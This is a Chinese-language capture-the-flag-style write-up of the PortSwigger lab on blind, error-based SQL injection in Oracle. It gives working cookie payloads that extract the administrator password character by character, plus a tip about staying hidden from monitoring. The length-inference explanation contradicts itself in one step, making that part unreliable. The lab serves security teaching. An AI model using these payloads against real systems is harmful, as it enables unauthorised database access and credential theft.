Portswigger靶场之Blind SQL injection with conditional errorsPRACTITIONERLAB

一、分析题目

该实验室存在一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含所提交 cookie 值的 SQL 查询。该 SQL 查询的结果并未被返回,而且无论查询是否返回任何行,应用程序的反应都相同。

这里值得注意的是,如果 SQL 查询出现错误,那么应用程序就会返回一个自定义的错误消息。我们这次是要根据返回的报错页面来进行注入。

该数据库中有一个名为"users"的不同表,该表包含"username"(用户名)和"password"(密码)两列。您需要利用盲 SQL 注入漏洞来找出管理员用户的密码。要解决此问题,请以管理员用户身份登录。


二、判断类型

1、猜测注入类型

这里我们尝试输入一个单引号时报错,输入两个单引号时页面显示正常:

因为输入数据库的理解结果一个单引号 (') 这是一个字符串的开始或结束符,导致字符串被意外截断,引发语法冲突,最终导致SQL 语法错误

两个单引号 ('') 这是一个转义序列,代表字符串内部的一个实际的单引号字符执行成功。

所以猜测是布尔注入

由于这里页面没有回显任何信息,所以只能通过SQL语句的正确性来判断注入,如果SQL查询语句是正确的,则返回200,如果SQL语句查询是错误的,则返回500.

2、判断数据库类型

这里我们利用oracle的一个"小规矩",在 Oracle 数据库中,任何 SELECT 语句,哪怕只是查询一个常量或一个空值,都必须有一个 FROM 子句。

其他很多数据库(如 MySQL, PostgreSQL)允许你直接写 SELECT '',但 Oracle 不行,这在 Oracle 中是无效的语法。

我们在语句正确的基础上,加上拼接符||来进行字符串的拼接。

sql 复制代码
TrackingId=ts02O7zolrYMc60w'||(select '')||'

此时,出现报错

语句改为下列语句,正常,说明了是oracle数据库

sql 复制代码
ts02O7zolrYMc60w'||(select '' from dual)||'

注意:在 Oracle 中进行注入测试,只要你的子查询不是从一个实际的表里查询数据,就一定要在后面加上 FROM DUAL

三、执行SQL注入

1、确认表的存在

提示说到数据库中有一个名为"users"的不同表,我们通过下面语句确定确实存在

sql 复制代码
TrackingId=AwKRCnDIzIDp0fCp'||(select '' from users where rownum=1)||'

在你的SQL注入查询中加上 where rownum=1 是一个至关重要的优化,优化如下

对比项 不加 rownum=1 加上 rownum=1 (推荐)
性能 扫描全表,大表极慢 只取一行,速度恒定且极快
可靠性 可能因超时导致误判 结果清晰,避免超时干扰
隐蔽性 高负载,容易被监控发现 低负载,难以被察觉

小延伸:这里当从 Oracle 切换到 MySQL 时,只要要将 rownum=1 换成 LIMIT 1,但是也要将整个注入的思路从"值构造"切换为"条件注入",在标准 MySQL 中

  • 拼接符不同 :在标准 MySQL 中,|| 是一个逻辑"或"运算符(OR) ,而不是字符串拼接符。MySQL 中拼接字符串通常使用 CONCAT() 函数。

  • 注入策略不同 :由于拼接符的差异,在 MySQL 中,通过 ANDOR 添加一个旁路的逻辑条件 ,通常比构造一个复杂的 CONCAT() 语句要简单和普遍得多。

对应语句如下:

sql 复制代码
TrackingId=some_value' AND (SELECT 1 FROM users LIMIT 1) IS NOT NULL --+

2、猜解密码长度原理

下面是甲骨文数据库的语法:

sql 复制代码
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

这条SQL语句使用了SELECT CASE WHEN结构,这是一种条件表达式,如果条件表达式为真,则执行THEN后面的函数;如果为假,则执行ELSE后面的函数。

在上面这条语句中,TO_CHAR函数的作用是转换成字符,可是TO_CHAR(1/0)中的1/0实际上是个除法,0为分母本身就是错误的,在大多数数据库中会抛出一个错误。

条件1=2是错误的,所以走的是else,页面返回了200。

sql 复制代码
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN 1=2 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'

当改成1=1,执行THEN后的函数,是TO_CHAR(1/0)语句报错,所以页面也报错。

sql 复制代码
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN 1=1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'

理解以后,我们就可以利用WHEN来注入,判断密码的长度。执行下面语句,说明密码长度是大于1的:

sql 复制代码
TrackingId=LXmhABdSfCwrY1Vw'||(select CASE WHEN length(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'

执行这条语句,说明密码长度没有大于1000

sql 复制代码
 TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN length(password)>1000 THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'

3、进行密码长度爆破

明白原理之后,设置猜测范围为1-25,设置关键字匹配:Internal Server Error进行爆破

按照上面的理论判断,没有出现报错,说明when的条件判断是正确的,所以执行了else以后的语句,得出密码长度为20

4、暴破密码字符

把when以后的条件判断用substr函数替换,爆破猜解具体密码字符。

sql 复制代码
TrackingId=poRLmpaOHgRgbmXs'||(select CASE WHEN substr(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'

substr(password,1,1)='a' 中第一个1就是猜的第一个位置,a为猜测第一个位置的字母

说明第一个字符不是a,接下来进行爆破前的设置

四、通关

拿到密码后,提示已经给出帐号,登陆即通关

学习参考:归去来兮-zangcc 【送书活动第2期】打靶Portswigger系列------ 一口气通关18个SQL注入靶场详细流程(文末送书)